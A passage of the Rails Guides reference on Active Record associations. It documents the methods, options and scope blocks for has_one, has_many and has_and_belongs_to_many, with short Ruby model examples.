the foreign key, then you should use +belongs_to+ instead. - -h5. Methods Added by +has_one+ - -When you declare a +has_one+ association, the declaring class automatically gains four methods related to the association: - -* <tt><em>association</em>(force_reload = false)</tt> -* <tt><em>association</em>=(associate)</tt> -* <tt>build_<em>association</em>(attributes = {})</tt> -* <tt>create_<em>association</em>(attributes = {})</tt> - -In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration: - -<ruby> -class Supplier < ActiveRecord::Base - has_one :account -end -</ruby> - -Each instance of the +Supplier+ model will have these methods: - -<ruby> -account -account= -build_account -create_account -</ruby> - -NOTE: When initializing a new +has_one+ or +belongs_to+ association you must use the +build_+ prefix to build the association, rather than the +association.build+ method that would be used for +has_many+ or +has_and_belongs_to_many+ associations. To create one, use the +create_+ prefix. - -h6(#has_one-association). <tt><em>association</em>(force_reload = false)</tt> - -The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+. - -<ruby> -@account = @supplier.account -</ruby> - -If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument. - -h6(#has_one-association_equal). <tt><em>association</em>=(associate)</tt> - -The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value. - -<ruby> -@supplier.account = @account -</ruby> - -h6(#has_one-build_association). <tt>build_<em>association</em>(attributes = {})</tt> - -The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved. - -<ruby> -@account = @supplier.build_account(:terms => "Net 30") -</ruby> - -h6(#has_one-create_association). <tt>create_<em>association</em>(attributes = {})</tt> - -The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. - -<ruby> -@account = @supplier.create_account(:terms => "Net 30") -</ruby> - -h5. Options for +has_one+ - -While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_one+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: - -<ruby> -class Supplier < ActiveRecord::Base - has_one :account, :class_name => "Billing", :dependent => :nullify -end -</ruby> - -The +has_one+ association supports these options: - -* +:as+ -* +:autosave+ -* +:class_name+ -* +:dependent+ -* +:foreign_key+ -* +:inverse_of+ -* +:primary_key+ -* +:source+ -* +:source_type+ -* +:through+ -* +:validate+ - -h6(#has_one-as). +:as+ - -Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>. - -h6(#has_one-autosave). +:autosave+ - -If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. - -h6(#has_one-class_name). +:class_name+ - -If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is +Billing+, you'd set things up this way: - -<ruby> -class Supplier < ActiveRecord::Base - has_one :account, :class_name => "Billing" -end -</ruby> - -h6(#has_one-dependent). +:dependent+ - -Controls what happens to the associated object when its owner is destroyed: - -* +:destroy+ causes the associated object to also be destroyed -* +:delete+ causes the asssociated object to be deleted directly from the database (so callbacks will not execute) -* +:nullify+ causes the foreign key to be set to +NULL+. Callbacks are not executed. -* +:restrict_with_exception+ causes an exception to be raised if there is an associated record -* +:restrict_with_error+ causes an error to be added to the owner if there is an associated object - -h6(#has_one-foreign_key). +:foreign_key+ - -By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: - -<ruby> -class Supplier < ActiveRecord::Base - has_one :account, :foreign_key => "supp_id" -end -</ruby> - -TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. - -h6(#has_one-inverse_of). +:inverse_of+ - -The +:inverse_of+ option specifies the name of the +belongs_to+ association that is the inverse of this association. Does not work in combination with the +:through+ or +:as+ options. - -<ruby> -class Supplier < ActiveRecord::Base - has_one :account, :inverse_of => :supplier -end - -class Account < ActiveRecord::Base - belongs_to :supplier, :inverse_of => :account -end -</ruby> - -h6(#has_one-primary_key). +:primary_key+ - -By convention, Rails assumes that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. - -h6(#has_one-source). +:source+ - -The +:source+ option specifies the source association name for a +has_one :through+ association. - -h6(#has_one-source_type). +:source_type+ - -The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association. - -h6(#has_one-through). +:through+ - -The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail <a href="#the-has_one-through-association">earlier in this guide</a>. - -h6(#has_one-validate). +:validate+ - -If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. - -h5(#belongs_to-scopes_for_has_one). Scopes for +has_one+ - -There may be times when you wish to customize the query used by +has_one+. Such customizations can be achieved via a scope block. For example: - -<ruby> -class Supplier < ActiveRecord::Base - has_one :account, -> { where :active => true } -end -</ruby> - -You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below: - -* +where+ -* +includes+ -* +readonly+ -* +select+ - -h6(#has_one-where). +where+ - -The +where+ method lets you specify the conditions that the associated object must meet. - -<ruby> -class Supplier < ActiveRecord::Base - has_one :account, -> { where "confirmed = 1" } -end -</ruby> - -h6(#has_one-includes). +includes+ - -You can use the +includes+ method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: - -<ruby> -class Supplier < ActiveRecord::Base - has_one :account -end - -class Account < ActiveRecord::Base - belongs_to :supplier - belongs_to :representative -end - -class Representative < ActiveRecord::Base - has_many :accounts -end -</ruby> - -If you frequently retrieve representatives directly from suppliers (+@supplier.account.representative+), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts: - -<ruby> -class Supplier < ActiveRecord::Base - has_one :account, -> { includes :representative } -end - -class Account < ActiveRecord::Base - belongs_to :supplier - belongs_to :representative -end - -class Representative < ActiveRecord::Base - has_many :accounts -end -</ruby> - -h6(#has_one-readonly). +readonly+ - -If you use the +readonly+ method, then the associated object will be read-only when retrieved via the association. - -h6(#has_one-select). +select+ - -The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns. - -h5(#has_one-do_any_associated_objects_exist). Do Any Associated Objects Exist? - -You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method: - -<ruby> -if @supplier.account.nil? - @msg = "No account found for this supplier" -end -</ruby> - -h5(#has_one-when_are_objects_saved). When are Objects Saved? - -When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too. - -If either of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled. - -If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved. They will automatically when the parent object is saved. - -If you want to assign an object to a +has_one+ association without saving the object, use the <tt><em>association</em>.build</tt> method. - -h4. +has_many+ Association Reference - -The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class. - -h5. Methods Added by +has_many+ - -When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association: - -* <tt><em>collection</em>(force_reload = false)</tt> -* <tt><em>collection</em><<(object, ...)</tt> -* <tt><em>collection</em>.delete(object, ...)</tt> -* <tt><em>collection</em>=objects</tt> -* <tt><em>collection_singular</em>_ids</tt> -* <tt><em>collection_singular</em>_ids=ids</tt> -* <tt><em>collection</em>.clear</tt> -* <tt><em>collection</em>.empty?</tt> -* <tt><em>collection</em>.size</tt> -* <tt><em>collection</em>.find(...)</tt> -* <tt><em>collection</em>.where(...)</tt> -* <tt><em>collection</em>.exists?(...)</tt> -* <tt><em>collection</em>.build(attributes = {}, ...)</tt> -* <tt><em>collection</em>.create(attributes = {})</tt> - -In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration: - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders -end -</ruby> - -Each instance of the customer model will have these methods: - -<ruby> -orders(force_reload = false) -orders<<(object, ...) -orders.delete(object, ...) -orders=objects -order_ids -order_ids=ids -orders.clear -orders.empty? -orders.size -orders.find(...) -orders.where(...) -orders.exists?(...) -orders.build(attributes = {}, ...) -orders.create(attributes = {}) -</ruby> - -h6(#has_many-collection). <tt><em>collection</em>(force_reload = false)</tt> - -The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array. - -<ruby> -@orders = @customer.orders -</ruby> - -h6(#has_many-collection-lt_lt). <tt><em>collection</em><<(object, ...)</tt> - -The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model. - -<ruby> -@customer.orders << @order1 -</ruby> - -h6(#has_many-collection-delete). <tt><em>collection</em>.delete(object, ...)</tt> - -The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to +NULL+. - -<ruby> -@customer.orders.delete(@order1) -</ruby> - -WARNING: Additionally, objects will be destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+. - - -h6(#has_many-collection-equal). <tt><em>collection</em>=objects</tt> - -The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate. - -h6(#has_many-collection_singular). <tt><em>collection_singular</em>_ids</tt> - -The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection. - -<ruby> -@order_ids = @customer.order_ids -</ruby> - -h6(#has_many-collection_singular_ids_ids). <tt><em>collection_singular</em>_ids=ids</tt> - -The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. - -h6(#has_many-collection-clear). <tt><em>collection</em>.clear</tt> - -The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+. - -h6(#has_many-collection-empty). <tt><em>collection</em>.empty?</tt> - -The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects. - -<ruby> -<% if @customer.orders.empty? %> - No Orders Found -<% end %> -</ruby> - -h6(#has_many-collection-size). <tt><em>collection</em>.size</tt> - -The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection. - -<ruby> -@order_count = @customer.orders.size -</ruby> - -h6(#has_many-collection-find). <tt><em>collection</em>.find(...)</tt> - -The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. - -<ruby> -@open_orders = @customer.orders.find(1) -</ruby> - -h6(#has_many-collection-where). <tt><em>collection</em>.where(...)</tt> - -The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. - -<ruby> -@open_orders = @customer.orders.where(:open => true) # No query yet -@open_order = @open_orders.first # Now the database will be queried -</ruby> - -h6(#has_many-collection-exists). <tt><em>collection</em>.exists?(...)</tt> - -The <tt><em>collection</em>.exists?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+. - -h6(#has_many-collection-build). <tt><em>collection</em>.build(attributes = {}, ...)</tt> - -The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved. - -<ruby> -@order = @customer.orders.build(:order_date => Time.now, - :order_number => "A12345") -</ruby> - -h6(#has_many-collection-create). <tt><em>collection</em>.create(attributes = {})</tt> - -The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. - -<ruby> -@order = @customer.orders.create(:order_date => Time.now, - :order_number => "A12345") -</ruby> - -h5. Options for +has_many+ - -While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders, :dependent => :delete_all, :validate => :false -end -</ruby> - -The +has_many+ association supports these options: - -* +:as+ -* +:autosave+ -* +:class_name+ -* +:dependent+ -* +:foreign_key+ -* +:inverse_of+ -* +:primary_key+ -* +:source+ -* +:source_type+ -* +:through+ -* +:validate+ - -h6(#has_many-as). +:as+ - -Setting the +:as+ option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>. - -h6(#has_many-autosave). +:autosave+ - -If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. - -h6(#has_many-class_name). +:class_name+ - -If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way: - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders, :class_name => "Transaction" -end -</ruby> - -h6(#has_many-dependent). +:dependent+ - -Controls what happens to the associated objects when their owner is destroyed: - -* +:destroy+ causes all the associated objects to also be destroyed -* +:delete_all+ causes all the asssociated objects to be deleted directly from the database (so callbacks will not execute) -* +:nullify+ causes the foreign keys to be set to +NULL+. Callbacks are not executed. -* +:restrict_with_exception+ causes an exception to be raised if there are any associated records -* +:restrict_with_error+ causes an error to be added to the owner if there are any associated objects - -NOTE: This option is ignored when you use the +:through+ option on the association. - -h6(#has_many-foreign_key). +:foreign_key+ - -By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders, :foreign_key => "cust_id" -end -</ruby> - -TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. - -h6(#has_many-inverse_of). +:inverse_of+ - -The +:inverse_of+ option specifies the name of the +belongs_to+ association that is the inverse of this association. Does not work in combination with the +:through+ or +:as+ options. - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders, :inverse_of => :customer -end - -class Order < ActiveRecord::Base - belongs_to :customer, :inverse_of => :orders -end -</ruby> - -h6(#has_many-primary_key). +:primary_key+ - -By convention, Rails assumes that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. - -h6(#has_many-source). +:source+ - -The +:source+ option specifies the source association name for a +has_many :through+ association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name. - -h6(#has_many-source_type). +:source_type+ - -The +:source_type+ option specifies the source association type for a +has_many :through+ association that proceeds through a polymorphic association. - -h6(#has_many-through). +:through+ - -The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has_many-through-association">earlier in this guide</a>. - -h6(#has_many-validate). +:validate+ - -If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved. - -h5(#has_many-scopes_for_has_many). Scopes for +has_many+ - -There may be times when you wish to customize the query used by +has_many+. Such customizations can be achieved via a scope block. For example: - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders, -> { where :processed => true } -end -</ruby> - -You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below: - -* +where+ -* +extending+ -* +group+ -* +includes+ -* +limit+ -* +offset+ -* +order+ -* +readonly+ -* +select+ -* +uniq+ - -h6(#has_many-where). +where+ - -The +where+ method lets you specify the conditions that the associated object must meet. - -<ruby> -class Customer < ActiveRecord::Base - has_many :confirmed_orders, -> { where "confirmed = 1" }, - :class_name => "Order" -end -</ruby> - -You can also set conditions via a hash: - -<ruby> -class Customer < ActiveRecord::Base - has_many :confirmed_orders, -> { where :confirmed => true }, - :class_name => "Order" -end -</ruby> - -If you use a hash-style +where+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+. - -h6(#has_many-extending). +extending+ - -The +extending+ method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>. - -h6(#has_many-group). +group+ - -The +group+ method supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL. - -<ruby> -class Customer < ActiveRecord::Base - has_many :line_items, -> { group 'orders.id' }, - :through => :orders -end -</ruby> - -h6(#has_many-includes). +includes+ - -You can use the +includes+ method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders -end - -class Order < ActiveRecord::Base - belongs_to :customer - has_many :line_items -end - -class LineItem < ActiveRecord::Base - belongs_to :order -end -</ruby> - -If you frequently retrieve line items directly from customers (+@customer.orders.line_items+), then you can make your code somewhat more efficient by including line items in the association from customers to orders: - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders, -> { includes :line_items } -end - -class Order < ActiveRecord::Base - belongs_to :customer - has_many :line_items -end - -class LineItem < ActiveRecord::Base - belongs_to :order -end -</ruby> - -h6(#has_many-limit). +limit+ - -The +limit+ method lets you restrict the total number of objects that will be fetched through an association. - -<ruby> -class Customer < ActiveRecord::Base - has_many :recent_orders, - -> { order('order_date desc').limit(100) }, - :class_name => "Order", -end -</ruby> - -h6(#has_many-offset). +offset+ - -The +offset+ method lets you specify the starting offset for fetching objects via an association. For example, +-> { offset(11) }+ will skip the first 11 records. - -h6(#has_many-order). +order+ - -The +order+ method dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause). - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders, -> { order "date_confirmed DESC" } -end -</ruby> - -h6(#has_many-readonly). +readonly+ - -If you use the +readonly+ method, then the associated objects will be read-only when retrieved via the association. - -h6(#has_many-select). +select+ - -The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns. - -WARNING: If you specify your own +select+, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error. - -h6(#has_many-uniq). +uniq+ - -Use the +uniq+ method to keep the collection free of duplicates. This is mostly useful together with the +:through+ option. - -<ruby> -class Person < ActiveRecord::Base - has_many :readings - has_many :posts, :through => :readings -end - -person = Person.create(:name => 'john') -post = Post.create(:name => 'a1') -person.posts << post -person.posts << post -person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">] -Reading.all.inspect # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>] -</ruby> - -In the above case there are two readings and +person.posts+ brings out both of them even though these records are pointing to the same post. - -Now let's set +uniq+: - -<ruby> -class Person - has_many :readings - has_many :posts, -> { uniq }, :through => :readings -end - -person = Person.create(:name => 'honda') -post = Post.create(:name => 'a1') -person.posts << post -person.posts << post -person.posts.inspect # => [#<Post id: 7, name: "a1">] -Reading.all.inspect # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>] -</ruby> - -In the above case there are still two readings. However +person.posts+ shows only one post because the collection loads only unique records. - -h5(#has_many-when_are_objects_saved). When are Objects Saved? - -When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved. - -If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled. - -If the parent object (the one declaring the +has_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved. - -If you want to assign an object to a +has_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method. - -h4. +has_and_belongs_to_many+ Association Reference - -The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes. - -h5. Methods Added by +has_and_belongs_to_many+ - -When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association: - -* <tt><em>collection</em>(force_reload = false)</tt> -* <tt><em>collection</em><<(object, ...)</tt> -* <tt><em>collection</em>.delete(object, ...)</tt> -* <tt><em>collection</em>=objects</tt> -* <tt><em>collection_singular</em>_ids</tt> -* <tt><em>collection_singular</em>_ids=ids</tt> -* <tt><em>collection</em>.clear</tt> -* <tt><em>collection</em>.empty?</tt> -* <tt><em>collection</em>.size</tt> -* <tt><em>collection</em>.find(...)</tt> -* <tt><em>collection</em>.where(...)</tt> -* <tt><em>collection</em>.exists?(...)</tt> -* <tt><em>collection</em>.build(attributes = {})</tt> -* <tt><em>collection</em>.create(attributes = {})</tt> - -In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_and_belongs_to_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol. For example, given the declaration: - -<ruby> -class Part < ActiveRecord::Base - has_and_belongs_to_many :assemblies -end -</ruby> - -Each instance of the part model will have these methods: - -<ruby> -assemblies(force_reload = false) -assemblies<<(object, ...) -assemblies.delete(object, ...) -assemblies=objects -assembly_ids -assembly_ids=ids -assemblies.clear -assemblies.empty? -assemblies.size -assemblies.find(...) -assemblies.where(...) -assemblies.exists?(...) -assemblies.build(attributes = {}, ...) -assemblies.create(attributes = {}) -</ruby> - -h6. Additional Column Methods - -If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes. - -WARNING: The use of extra attributes on the join table in a +has_and_belongs_to_many+ association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a +has_many :through+ association instead of +has_and_belongs_to_many+. - - -h6(#has_and_belongs_to_many-collection). <tt><em>collection</em>(force_reload = false)</tt> - -The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array. - -<ruby> -@assemblies = @part.assemblies -</ruby> - -h6(#has_and_belongs_to_many-collection-lt_lt). <tt><em>collection</em><<(object, ...)</tt> - -The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by creating records in the join table. - -<ruby> -@part.assemblies << @assembly1 -</ruby> - -NOTE: This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>. - -h6(#has_and_belongs_to_many-collection-delete). <tt><em>collection</em>.delete(object, ...)</tt> - -The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects. - -<ruby> -@part.assemblies.delete(@assembly1) -</ruby> - -h6(#has_and_belongs_to_many-collection-equal). <tt><em>collection</em>=objects</tt> - -The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate. - -h6(#has_and_belongs_to_many-collection_singular). <tt><em>collection_singular</em>_ids</tt> - -The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection. - -<ruby> -@assembly_ids = @part.assembly_ids -</ruby> - -h6(#has_and_belongs_to_many-collection_singular_ids_ids). <tt><em>collection_singular</em>_ids=ids</tt> - -The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. - -h6(#has_and_belongs_to_many-collection-clear). <tt><em>collection</em>.clear</tt> - -The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects. - -h6(#has_and_belongs_to_many-collection-empty). <tt><em>collection</em>.empty?</tt> - -The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects. - -<ruby> -<% if @part.assemblies.empty? %> - This part is not used in any assemblies -<% end %> -</ruby> - -h6(#has_and_belongs_to_many-collection-size). <tt><em>collection</em>.size</tt> - -The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection. - -<ruby> -@assembly_count = @part.assemblies.size -</ruby> - -h6(#has_and_belongs_to_many-collection-find). <tt><em>collection</em>.find(...)</tt> - -The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection. - -<ruby> -@assembly = @part.assemblies.find(1) -</ruby> - -h6(#has_and_belongs_to_many-collection-where). <tt><em>collection</em>.where(...)</tt> - -The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection. - -<ruby> -@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago) -</ruby> - -h6(#has_and_belongs_to_many-collection-exists). <tt><em>collection</em>.exists?(...)</tt> - -The <tt><em>collection</em>.exists?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+. - -h6(#has_and_belongs_to_many-collection-build). <tt><em>collection</em>.build(attributes = {})</tt> - -The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved. - -<ruby> -@assembly = @part.assemblies.build( - {:assembly_name => "Transmission housing"}) -</ruby> - -h6(#has_and_belongs_to_many-create-attributes). <tt><em>collection</em>.create(attributes = {})</tt> - -The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. - -<ruby> -@assembly = @part.assemblies.create( - {:assembly_name => "Transmission housing"}) -</ruby> - -h5. Options for +has_and_belongs_to_many+ - -While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_and_belongs_to_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: - -<ruby> -class Parts < ActiveRecord::Base - has_and_belongs_to_many :assemblies, :uniq => true, - :read_only => true -end -</ruby> - -The +has_and_belongs_to_many+ association supports these options: - -* +:association_foreign_key+ -* +:autosave+ -* +:class_name+ -* +:foreign_key+ -* +:join_table+ -* +:validate+ - -h6(#has_and_belongs_to_many-association_foreign_key). +:association_foreign_key+ - -By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: - -TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example: - -<ruby> -class User < ActiveRecord::Base - has_and_belongs_to_many :friends, :class_name => "User", - :foreign_key => "this_user_id", - :association_foreign_key => "other_user_id" -end -</ruby> - -h6(#has_and_belongs_to_many-autosave). +:autosave+ - -If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. - -h6(#has_and_belongs_to_many-class_name). +:class_name+ - -If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way: - -<ruby> -class Parts < ActiveRecord::Base - has_and_belongs_to_many :assemblies, :class_name => "Gadget" -end -</ruby> - -h6(#has_and_belongs_to_many-foreign_key). +:foreign_key+ - -By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: - -<ruby> -class User < ActiveRecord::Base - has_and_belongs_to_many :friends, :class_name => "User", - :foreign_key => "this_user_id", - :association_foreign_key => "other_user_id" -end -</ruby> - -h6(#has_and_belongs_to_many-join_table). +:join_table+ - -If the default name of the join table, based on lexical ordering, is not what you want, you can use the +:join_table+ option to override the default. - -h6(#has_and_belongs_to_many-validate). +:validate+ - -If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved. - -h5(#has_and_belongs_to_many-scopes_for_has_and_belongs_to_many). Scopes for +has_and_belongs_to_many+ - -There may be times when you wish to customize the query used by +has_and_belongs_to_many+. Such customizations can be achieved via a scope block. For example: - -<ruby> -class Parts < ActiveRecord::Base - has_and_belongs_to_many :assemblies, -> { where :active => true } -end -</ruby> - -You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below: - -* +where+ -* +extending+ -* +group+ -* +includes+ -* +limit+ -* +offset+ -* +order+ -* +readonly+ -* +select+ -* +uniq+ - -h6(#has_and_belongs_to_many-where). +where+ - -The +where+ method lets you specify the conditions that the associated object must meet. - -<ruby> -class Parts < ActiveRecord::Base - has_and_belongs_to_many :assemblies, - -> { where "factory = 'Seattle'" } -end -</ruby> - -You can also set conditions via a hash: - -<ruby> -class Parts < ActiveRecord::Base - has_and_belongs_to_many :assemblies, - -> { where :factory => 'Seattle' } -end -</ruby> - -If you use a hash-style +where+, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the +factory+ column has the value "Seattle". - -h6(#has_and_belongs_to_many-extending). +extending+ - -The +extending+ method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>. - -h6(#has_and_belongs_to_many-group). +group+ - -The +group+ method supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL. - -<ruby> -class Parts < ActiveRecord::Base - has_and_belongs_to_many :assemblies, -> { group "factory" } -end -</ruby> - -h6(#has_and_belongs_to_many-includes). +includes+ - -You can use the +includes+ method to specify second-order associations that should be eager-loaded when this association is used. - -h6(#has_and_belongs_to_many-limit). +limit+ - -The +limit+ method lets you restrict the total number of objects that will be fetched through an association. - -<ruby> -class Parts < ActiveRecord::Base - has_and_belongs_to_many :assemblies, - -> { order("created_at 